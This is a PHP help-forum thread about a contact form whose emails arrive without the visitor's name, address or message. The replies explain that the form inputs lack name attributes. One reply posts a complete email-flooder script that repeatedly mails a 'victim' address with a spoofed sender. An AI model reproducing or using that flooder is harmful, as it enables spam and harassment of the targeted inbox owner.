seeya1 Posted August 21, 2009 Share Posted August 21, 2009 I can recieve emails, but i only get... From: Email: Message: there is no content that shows up...here is the code: PHP: <?php if(isset($_POST['submit'])) { $to = "myname@mydomain.com"; $subject = "Contact Form"; $name_field = $_POST["Name"]; $email_field = $_POST["E-mail"]; $message = $_POST["Message"]; $body = "From:$name_field\r\n E-Mail:$email_field\r\n Message:$message\r\n"; echo "Data has been submitted to $to!"; mail($to, $subject, $body); } else { echo "Error, please try again!"; } ?> HTML: <h3>Contact Form</h3> <form action="mailer.php" method="POST" id="form1"> <div class="form1"> <label>Name:</label> <input type="text" /> </div> <div class="form1"> <label>E-mail:</label> <input type="text" /> </div> <div class="form2"> <label>Message:</label> <textarea cols="1" rows="1"></textarea> </div> <p class="alignright"><input type="reset" value="Reset" name="reset"></a> <input type="submit" value="Submit" name="submit"></p> </form> Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/ Share on other sites More sharing options...
MadTechie Posted August 21, 2009 Share Posted August 21, 2009 change <textarea cols="1" rows="1"></textarea> to <textarea name="Message" cols="1" rows="1"></textarea> Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/#findComment-903572 Share on other sites More sharing options...
seeya1 Posted August 22, 2009 Author Share Posted August 22, 2009 change <textarea cols="1" rows="1"></textarea> to <textarea name="Message" cols="1" rows="1"></textarea> awesome! that fixed 1 of 3 problems, i can now see the message, but not the from or email, can you help with that as well please? thanks! Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/#findComment-903721 Share on other sites More sharing options...
trq Posted August 22, 2009 Share Posted August 22, 2009 You need to name all your form elements, Techie was just posting an example. Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/#findComment-903723 Share on other sites More sharing options...
Tonic-_- Posted August 22, 2009 Share Posted August 22, 2009 Here's a flooder I wrote, you can look at the mail setup and ignore the loops. <? //Disable error reporting error_reporting(E_ALL & ~E_NOTICE); //Information to send $vic = $_POST['vic']; $subject = $_POST['subject']; $msg = $_POST['msg']; $headers = "From: /b/@anonymous.com"; $flood = $_POST['flood']; $loop = 1; //If information filled out spam! if(isset($vic)) { //Creates loop to keep mailing while($loop <= $flood) { mail($vic, $subject, $msg, $headers); //Mails the information echo "Flooded ".$loop."x<br>"; //Displays how many emails sent $loop++; //loops } } else { //If info isn't filled out take them to fill out form! ?> <form method="post"> Victim:<br /> <input type="text" name="vic"><br /><br /> Subject:<br /> <input type="text" name="subject"><br /><br /> How many Times to flood:<br /> <input type="text" name="flood"><br /><br /> Message:<br /> <input type="text" name="msg"><br /> <br /> <input type="submit" value="Spam!"> </form> <? } ?> Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/#findComment-903725 Share on other sites More sharing options...
seeya1 Posted August 22, 2009 Author Share Posted August 22, 2009 You need to name all your form elements, Techie was just posting an example. got it, that fixed it, thanks! Quote Link to comment https://forums.phpfreaks.com/topic/171336-solved-no-content-shows-up-in-emailplease-help/#findComment-903727 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.